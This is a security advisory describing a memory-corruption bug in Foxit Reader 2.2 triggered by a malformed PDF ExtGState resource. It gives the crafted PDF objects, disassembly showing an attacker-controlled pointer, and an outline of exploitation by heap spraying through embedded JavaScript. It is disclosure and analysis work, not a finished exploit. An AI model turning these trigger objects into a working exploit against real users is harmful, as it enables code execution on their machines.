Foxit Reader 2.2 vulnerability opening malformed pdf:

Autor: Javier Vicente Vallejo
Web: www.vallejo.cc

Abstract

Foxit Reader 2.2 is prone to a vulnerability when a malformed pdf is parsed.

Affcted versions

Tested with Foxit Reader 2.2, Windows XP Media Center Sp2.

Analysis

The vulnerability occurs when a malformed /ExtGState resource is parsed. In this case the ExtGState resource was supplanted with a /Font resource, but the type of the resource continued being ExtGState:

```
261 0 obj
<</Type /Page /Parent 126 0 R /MediaBox [0 0 259 408 ]/CropBox [0 0 531 666 ]/Resources <</ProcSet [/PDF
/Text] /ExtGState <</R7 7 0 R>>>> /Contents [20 0 R]>>
endobj

7 0 obj
<</FirstChaaa 1
/Type /Funt /FontDescriptor  23 0 R
/BaseFont /xxxxxxxxxxxxxxxxoman,Italic
/Subtype /TrueType
/Encoding /WinAnsiEncoding
/LaitChar 211
/Wodths [    ]
>>
endobj

23 0 obj
<</zzz9ðE /oooooo>>
endobj
```

Under these conditions it seems Foxit allocates differents structures waiting to complete that memory with the content of the /ExtGState resource. Howerver when it finds fields associated with a /Font resource, it tries to parse them anyway, and it completes the memory for that structures with incorrect data. This situation occurs because some functions (mainly the one located at address 0x4d1ed0) are common functions to parse any type of field for any type of resource. So, when some fields of a /Font dictionary are found under a /ExtGState resource, the fields are read and interpreted, and the allocated structures are filled with incorrect data.

This facts cause different errors in the execution. For example, this code:

```
004A6E04   C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0
004A6E0C   0F84 9A000000    JE foxit_re.004A6EAC
004A6E12   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
004A6E15   48               DEC EAX
004A6E16   83F8 08          CMP EAX,8
004A6E19   0F87 8D000000    JA foxit_re.004A6EAC
```

```
004A6E1F   FF2485 BC6E4A00  JMP DWORD PTR DS:[EAX*4+4A6EBC]
```

The instruction mov eax,[ecx+8]. Ecx+8 should contain a valid pointer, but the content of that memory is the value of the first name of the dictionary of the object 23 0 obj. We can control this value so we can control [ecx+8], for example.

Modifying this dictionary name with different values we find crashes and invalid access at different EIP. For example with names with length under 8, it uses the last bytes of the name as a pointer at EIP = 0x4A6EE7. With larger names it completes the structure in a different way and the behaviour is different.

```
23 0 obj
<</zzzzzzz /oooooo>>
endobj
```

```
004A6EE7   8B41 08        MOV EAX,DWORD PTR DS:[ECX+8]
004A6EEA   83E8 02        SUB EAX,2
004A6EED   74 23          JE SHORT foxit_re.004A6F12
004A6EEF   83E8 07        SUB EAX,7
004A6EF2   75 14          JNZ SHORT foxit_re.004A6F08
004A6EF4   8B41 14        MOV EAX,DWORD PTR DS:[ECX+14]
004A6EF7   8B49 10        MOV ECX,DWORD PTR DS:[ECX+10]
004A6EFA   50             PUSH EAX
004A6EFB   E8 20200000    CALL foxit_re.004A8F20
```

The code involved in this vulnerability is complex, lot of FPU and mathematical operations, etc... It is difficult to find correct values to exploit the vulnerability, however i think it is possible to exploit it by choosing some appropiated values for the input dictionaries and using heap spraying to facilitate the shellcode execution (heap spraying could be possible using javascript embedded into the own pdf file. The supplied pdf file uses javascript with some /Annots events so we can do heap spraying before the crash occured).